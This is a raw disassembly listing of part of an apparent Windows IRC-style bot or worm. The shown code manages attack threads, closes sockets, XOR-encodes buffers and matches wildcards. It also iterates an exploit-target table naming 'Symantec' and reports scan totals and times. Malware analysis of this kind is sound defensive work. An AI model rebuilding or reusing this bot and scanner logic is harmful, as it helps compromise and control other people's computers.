		mov	byte_4E31CC, bl
		ja	short loc_40B64C
		push	15h
		push	offset loc_4480B0
		push	[ebp+arg_0]
		mov	byte_4480BD, dl
		mov	byte_4480C1, bl
		call	sub_41FBF0
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B66D
; ---------------------------------------------------------------------------

loc_40B64C:				; CODE XREF: sub_40B590+98j
		push	17h
		push	offset loc_448098
		push	[ebp+arg_0]
		mov	word_4480A6, dx
		mov	byte_4480AB, bl
		call	sub_41FBF0
		add	esp, 0Ch
		push	17h

loc_40B66D:				; CODE XREF: sub_40B590+BAj
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B689
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]

loc_40B67B:				; CODE XREF: sub_40B590+F7j
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B67B

loc_40B689:				; CODE XREF: sub_40B590+E3j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_40B68E:				; CODE XREF: sub_40B590+5Ej
		pop	esi
		leave
		retn
sub_40B590	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B691	proc near		; CODE XREF: sub_401404+366p
					; sub_401404+3A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_455DC0

loc_40B699:				; CODE XREF: sub_40B691+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B6AD
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4E2DC0
		jl	short loc_40B699
		jmp	short loc_40B6F8
; ---------------------------------------------------------------------------

loc_40B6AD:				; CODE XREF: sub_40B691+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_455DC0[esi]
		push	eax
		call	sub_41E510
		mov	eax, [esp+14h+arg_4]
		and	dword_455FC4[esi], 0
		and	dword_455FC8[esi], 0
		mov	dword_455FC0[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_455FD8[esi], 0
		mov	dword_455FCC[esi], eax
		pop	esi

loc_40B6F8:				; CODE XREF: sub_40B691+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B691	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6FC	proc near		; DATA XREF: sub_401C87+2949o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40B74E
		push	[ebp+var_14]
		call	sub_40B9A7
		add	esp, 14h
		push	0
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_40B6FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B74E	proc near		; CODE XREF: sub_40B6FC+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_44818C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_455DC0

loc_40B778:				; CODE XREF: sub_40B74E+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40B7B9
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B78C
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40B7B9

loc_40B78C:				; CODE XREF: sub_40B74E+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset dword_4481A0
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 24h

loc_40B7B9:				; CODE XREF: sub_40B74E+2Dj
					; sub_40B74E+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4E2DC0
		jl	short loc_40B778
		pop	edi
		pop	esi
		leave
		retn
sub_40B74E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7CC	proc near		; CODE XREF: sub_401C87+7C16p
					; sub_40B854+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B84E
		cmp	esi, 400h
		jge	short loc_40B84E
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_455FD4[esi]
		push	dword ptr [edi]
		call	dword_4F5380	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40B7FE
		inc	ebp

loc_40B7FE:				; CODE XREF: sub_40B7CC+2Fj
		mov	[edi], ebx
		lea	edi, dword_455FC8[esi]
		mov	dword_455FC0[esi], ebx
		mov	dword_455FC4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B81F
		push	eax
		call	sub_41A652
		pop	ecx

loc_40B81F:				; CODE XREF: sub_40B7CC+4Aj
		mov	[edi], ebx
		lea	edi, dword_455FCC[esi]
		mov	byte ptr dword_455DC0[esi], bl
		mov	byte_455FD8[esi], bl
		push	dword ptr [edi]
		call	dword_4E3120	; closesocket
		lea	esi, dword_455FD0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4E3120	; closesocket
		mov	[esi], ebx
		pop	edi

loc_40B84E:				; CODE XREF: sub_40B7CC+Dj
					; sub_40B7CC+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B7CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B854	proc near		; CODE XREF: sub_401300+18p
					; sub_401404:loc_401991p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_455DC0

loc_40B860:				; CODE XREF: sub_40B854+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B871
		push	edi
		call	sub_40B7CC
		test	eax, eax
		pop	ecx
		jz	short loc_40B871
		inc	ebx

loc_40B871:				; CODE XREF: sub_40B854+Fj
					; sub_40B854+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4E2DC0
		jl	short loc_40B860
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B854	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B886	proc near		; CODE XREF: sub_401C87+4169p
					; sub_401C87+42B7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_455FC4

loc_40B89A:				; CODE XREF: sub_40B886+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B8BC
		test	edi, edi
		jle	short loc_40B8AE
		cmp	[esi], edi
		jz	short loc_40B8AE
		cmp	ebx, edi
		jnz	short loc_40B8BC

loc_40B8AE:				; CODE XREF: sub_40B886+1Ej
					; sub_40B886+22j
		push	ebx
		call	sub_40B7CC
		test	eax, eax
		pop	ecx
		jz	short loc_40B8BC
		inc	[ebp+var_4]

loc_40B8BC:				; CODE XREF: sub_40B886+1Aj
					; sub_40B886+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4E2FC4
		jl	short loc_40B89A
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B8D3	proc near		; CODE XREF: sub_401404+3FAp
					; sub_401C87+93Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_455FC0

loc_40B8DA:				; CODE XREF: sub_40B8D3+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B8E3
		inc	eax

loc_40B8E3:				; CODE XREF: sub_40B8D3+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4E2FC0
		jl	short loc_40B8DA
		retn
sub_40B8D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B8F2	proc near		; CODE XREF: sub_401C87+23E1p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_455FC0
		push	esi

loc_40B8FC:				; CODE XREF: sub_40B8F2+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B915
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4E2FC0
		jl	short loc_40B8FC
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B915:				; CODE XREF: sub_40B8F2+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B8F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B919	proc near		; CODE XREF: sub_401C87+1017p
					; sub_401C87+121Dp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B932
		push	[ebp+arg_1C]
		call	sub_41E710
		pop	ecx

loc_40B932:				; CODE XREF: sub_40B919+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B886
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B95E
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41EA60
		add	esp, 14h
		jmp	short loc_40B978
; ---------------------------------------------------------------------------

loc_40B95E:				; CODE XREF: sub_40B919+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41EA60
		add	esp, 10h

loc_40B978:				; CODE XREF: sub_40B919+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B998
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_40B998:				; CODE XREF: sub_40B919+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415A3C
		pop	ecx
		leave
		retn
sub_40B919	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9A7	proc near		; CODE XREF: sub_4019A5+154p
					; sub_40B6FC+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_455FD4[eax], ecx
		mov	dword_455FC0[eax], ecx
		mov	dword_455FC4[eax], ecx
		mov	dword_455FC8[eax], ecx
		mov	dword_455FCC[eax], ecx
		mov	dword_455FD0[eax], ecx
		mov	byte ptr dword_455DC0[eax], cl
		mov	byte_455FD8[eax], cl
		retn
sub_40B9A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9E4	proc near		; CODE XREF: sub_401C87+7E9Dp
					; sub_40BB0C+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_40BA46
; ---------------------------------------------------------------------------

loc_40B9F0:				; CODE XREF: sub_40B9E4+66j
		cmp	eax, 1
		jnz	short loc_40BA57
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40BA57
		cmp	cl, 2Ah
		jz	short loc_40BA2F
		cmp	cl, 3Fh
		jz	short loc_40BA14
		cmp	cl, 5Bh
		jz	short loc_40BA19
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40BA14:				; CODE XREF: sub_40B9E4+22j
		inc	[ebp+arg_4]
		jmp	short loc_40BA42
; ---------------------------------------------------------------------------

loc_40BA19:				; CODE XREF: sub_40B9E4+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40BA78
		mov	esi, [ebp+arg_0]
		jmp	short loc_40BA40
; ---------------------------------------------------------------------------

loc_40BA2F:				; CODE XREF: sub_40B9E4+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40BB0C
		mov	esi, [ebp+arg_0]
		dec	esi

loc_40BA40:				; CODE XREF: sub_40B9E4+49j
		pop	ecx
		pop	ecx

loc_40BA42:				; CODE XREF: sub_40B9E4+33j
		inc	esi
		mov	[ebp+arg_0], esi

loc_40BA46:				; CODE XREF: sub_40B9E4+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40B9F0
		jmp	short loc_40BA57
; ---------------------------------------------------------------------------

loc_40BA4E:				; CODE XREF: sub_40B9E4+76j
		cmp	eax, 1
		jnz	short loc_40BA73
		inc	esi
		mov	[ebp+arg_0], esi

loc_40BA57:				; CODE XREF: sub_40B9E4+Fj
					; sub_40B9E4+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_40BA4E
		cmp	eax, 1
		jnz	short loc_40BA73
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40BA73
		cmp	byte ptr [esi],	0
		jnz	short loc_40BA73
		xor	eax, eax
		inc	eax
		jmp	short loc_40BA75
; ---------------------------------------------------------------------------

loc_40BA73:				; CODE XREF: sub_40B9E4+6Dj
					; sub_40B9E4+7Bj ...
		xor	eax, eax

loc_40BA75:				; CODE XREF: sub_40B9E4+8Dj
		pop	esi
		pop	ebp
		retn
sub_40B9E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA78	proc near		; CODE XREF: sub_40B9E4+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40BA99
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40BA99:				; CODE XREF: sub_40BA78+19j
		push	ebx
		push	esi

loc_40BA9B:				; CODE XREF: sub_40BA78+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40BAA9
		cmp	[ebp+var_4], eax
		jnz	short loc_40BAF1

loc_40BAA9:				; CODE XREF: sub_40BA78+2Aj
		test	edi, edi
		jnz	short loc_40BAE6
		cmp	bl, 2Dh
		jnz	short loc_40BADA
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_40BADA
		cmp	al, 5Dh
		jz	short loc_40BADA
		cmp	[ebp+var_4], edi
		jnz	short loc_40BADA
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40BAE6
		cmp	bl, al
		jg	short loc_40BAE6
		mov	[edx], esi
		jmp	short loc_40BAE3
; ---------------------------------------------------------------------------

loc_40BADA:				; CODE XREF: sub_40BA78+38j
					; sub_40BA78+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40BAE6

loc_40BAE3:				; CODE XREF: sub_40BA78+60j
		xor	edi, edi
		inc	edi

loc_40BAE6:				; CODE XREF: sub_40BA78+33j
					; sub_40BA78+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_40BA9B
; ---------------------------------------------------------------------------

loc_40BAF1:				; CODE XREF: sub_40BA78+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40BAFE
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40BAFE:				; CODE XREF: sub_40BA78+7Ej
		cmp	edi, eax
		jnz	short loc_40BB07
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40BB07:				; CODE XREF: sub_40BA78+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40BA78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB0C	proc near		; CODE XREF: sub_40B9E4+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_40BB3C
; ---------------------------------------------------------------------------

loc_40BB26:				; CODE XREF: sub_40BB0C+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_40BB37
		cmp	dl, 2Ah
		jnz	short loc_40BB49
		cmp	dl, 3Fh
		jnz	short loc_40BB3A

loc_40BB37:				; CODE XREF: sub_40BB0C+1Fj
		inc	ecx
		mov	[edi], ecx

loc_40BB3A:				; CODE XREF: sub_40BB0C+29j
		inc	dword ptr [esi]

loc_40BB3C:				; CODE XREF: sub_40BB0C+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_40BB26
		jmp	short loc_40BB49
; ---------------------------------------------------------------------------

loc_40BB46:				; CODE XREF: sub_40BB0C+40j
		inc	eax
		mov	[esi], eax

loc_40BB49:				; CODE XREF: sub_40BB0C+24j
					; sub_40BB0C+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_40BB46
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_40BB6B
		cmp	[eax], bl
		jz	short loc_40BB5E
		xor	eax, eax
		jmp	short loc_40BBC8
; ---------------------------------------------------------------------------

loc_40BB5E:				; CODE XREF: sub_40BB0C+4Cj
		cmp	dl, bl
		jnz	short loc_40BB6B
		cmp	[eax], bl
		jnz	short loc_40BB6B
		xor	eax, eax
		inc	eax
		jmp	short loc_40BBC8
; ---------------------------------------------------------------------------

loc_40BB6B:				; CODE XREF: sub_40BB0C+48j
					; sub_40BB0C+54j ...
		push	ecx
		push	eax
		call	sub_40B9E4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BBB2

loc_40BB78:				; CODE XREF: sub_40BB0C+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_40BB8A
; ---------------------------------------------------------------------------

loc_40BB7E:				; CODE XREF: sub_40BB0C+86j
		cmp	cl, 5Bh
		jz	short loc_40BB94
		cmp	dl, bl
		jz	short loc_40BB94
		inc	eax
		mov	[edi], eax

loc_40BB8A:				; CODE XREF: sub_40BB0C+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_40BB7E

loc_40BB94:				; CODE XREF: sub_40BB0C+75j
					; sub_40BB0C+79j
		cmp	[eax], bl
		jz	short loc_40BBA9
		push	eax
		push	dword ptr [esi]
		call	sub_40B9E4
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40BBAE
; ---------------------------------------------------------------------------

loc_40BBA9:				; CODE XREF: sub_40BB0C+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40BBAE:				; CODE XREF: sub_40BB0C+9Bj
		cmp	eax, ebx
		jnz	short loc_40BB78

loc_40BBB2:				; CODE XREF: sub_40BB0C+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40BBC5
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40BBC5
		mov	[ebp+var_4], 1

loc_40BBC5:				; CODE XREF: sub_40BB0C+AAj
					; sub_40BB0C+B0j
		mov	eax, [ebp+var_4]

loc_40BBC8:				; CODE XREF: sub_40BB0C+50j
					; sub_40BB0C+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BB0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BBCD	proc near		; CODE XREF: sub_401C87+2AEEp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4485B0
		push	eax
		xor	ebx, ebx
		call	sub_41EA60
		cmp	dword_448210, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40BC3F
		push	esi
		mov	esi, offset dword_448218

loc_40BC00:				; CODE XREF: sub_40BBCD+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40BC35
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_4485D0
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41FAC0
		add	esp, 1Ch

loc_40BC35:				; CODE XREF: sub_40BBCD+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40BC00
		pop	esi

loc_40BC3F:				; CODE XREF: sub_40BBCD+2Bj
		push	dword_4E2DC4
		call	sub_41B51B
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41FAC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415A3C
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40BBCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC9B	proc near		; CODE XREF: sub_401C87+2AD8p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4E5B8C
		mov	ecx, dword_4E5B88
		push	esi
		push	dword_4E2DC4
		lea	esi, [ecx+eax]
		call	sub_41B51B
		push	eax
		push	esi
		push	dword_4E5B8C
		lea	eax, [ebp+var_200]
		push	dword_4E5B88
		push	offset unk_4485F0
		push	eax
		call	sub_41EA60
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415A3C
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40BC9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD06	proc near		; CODE XREF: sub_401C87+2AC2p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4E2DC4
		call	sub_41B51B
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4E5DC8
		push	offset unk_448638
		push	eax
		call	sub_41EA60
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415A3C
		add	esp, 2Ch
		leave
		retn
sub_40BD06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD5A	proc near		; CODE XREF: sub_401C87+2AACp

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41EF80
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_448664
		push	eax
		call	sub_41EA60
		cmp	dword_448210, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BDC6
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40BD8F:				; CODE XREF: sub_40BD5A+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_448680
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41FAC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BD8F
		pop	esi

loc_40BDC6:				; CODE XREF: sub_40BD5A+2Dj
		push	dword_4E2DC4
		call	sub_41B51B
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41FAC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415A3C
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40BD5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE20	proc near		; DATA XREF: sub_401C87+30EBo

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4E30C8	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_448210, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40BF7F
		mov	esi, offset dword_448210
		mov	ebx, offset aSym ; "sym"

loc_40BE74:				; CODE XREF: sub_40BE20+159j
		push	[ebp+var_1C]
		push	dword ptr [esi]
		push	[ebp+var_8]
		call	sub_40C611
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BF6E
		push	dword ptr [esi]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebx+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_4486A0
		push	eax
		call	sub_41EA60
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409C75
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_415A3C
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_41EA60
		add	esp, 3Ch
		cmp	[ebp+var_A4], 0
		lea	eax, [ebp+var_A4]
		jnz	short loc_40BF09
		lea	eax, [ebp+var_124]

loc_40BF09:				; CODE XREF: sub_40BE20+E1j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_41EA60
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [esi]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
